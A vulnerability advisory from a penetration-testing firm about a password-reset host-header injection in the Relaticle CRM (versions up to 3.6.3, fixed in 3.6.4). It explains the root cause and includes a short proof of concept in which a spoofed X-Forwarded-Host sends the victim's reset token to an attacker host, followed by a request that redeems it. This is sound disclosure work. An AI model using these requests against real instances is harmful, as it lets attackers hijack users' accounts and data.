Relaticle: Account Takeover via X-Forwarded-Host in Password Reset

An anonymous attacker makes the link in the genuine password reset mail point to their host and takes over the account once the victim clicks.

Advisory ID: TP-2026-120
Product: Relaticle (open-source CRM built on Laravel and Filament)
Vulnerability type: Account takeover through weak password recovery (CWE-640)
CVE: not requested
CVSS 3.1: 8.8 (High) · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Affected versions: <= 3.6.3
Vendor advisory: GHSA-w9mm-vmqp-9vrx
Fixed in: 3.6.4
Reported: 7 October 2026

Summary

Relaticle is an open-source CRM built on Laravel and Filament that runs behind a reverse proxy. The application builds every absolute URL, including the signed link in the password reset mail, from the host of the incoming request and takes that host from the client-supplied X-Forwarded-Host header. The host check that would stop this is off on a single-domain install, and the nginx recipe in the project's own self-hosting guide passes the header through unchanged. An anonymous attacker requests a reset for a known email address and makes the link in the genuine mail point to a host they control. When the victim clicks, the attacker receives token and signature, sets a new password and signs in as the victim.

Root cause

bootstrap/app.php:87-96 calls trustProxies(at: [...]) for the RFC1918, loopback and IPv6 ULA ranges without a headers: argument, so Laravel's default mask including HEADER_X_FORWARDED_HOST applies (vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php:22-27), and Filament signs and mails the reset URL against the host resolved from it. bootstrap/app.php:132-134 returns an empty trusted-host list while none of app.api_domain, app.mcp_domain, app.sysadmin_domain and app.app_panel_domain is set, and an empty list disables host validation. The nginx recipe in the self-hosting guide sets Host, X-Real-IP, X-Forwarded-For and X-Forwarded-Proto but neither sets nor clears X-Forwarded-Host (packages/Documentation/resources/content/docs/guides/self-hosting.md:253-270). The livewire-<hash>/update route that submits the reset carries only web and RequireLivewireHeaders and checks no signature, so a captured token is redeemed with a single POST.

Proof of Concept

GET /app/password-reset/request       (anonymous, through the reverse proxy)
Host: crm.example.com
X-Forwarded-Host: attacker.test
-> request a reset for [email protected] on that page

Mail to the victim:
http://attacker.test/app/password-reset/reset?email=victim%40example.com&token=<token>&signature=<signature>

POST /livewire-<hash>/update          (with token and signature from the click)
{"updates":{"password":"<new>","passwordConfirmation":"<new>"},"calls":[{"method":"resetPassword"}]}

The real instance generates and sends the mail, only the host in the link belongs to the attacker. After redemption the victim's old password is invalid and the attacker's new password is valid.

Impact

  • Takeover of every account whose email address is known and that can use the password reset.
  • The victim loses access because their password no longer works.
  • Access to tasks, chat threads and CRM records in the victim's workspace with the victim's rights.
  • The mail comes from the real instance, so the usual phishing cues are absent.

References

Is Something Like This in Your Software?

Our team found this vulnerability in the course of its work. Have your applications tested by the same specialists, with a penetration test from turingpoint.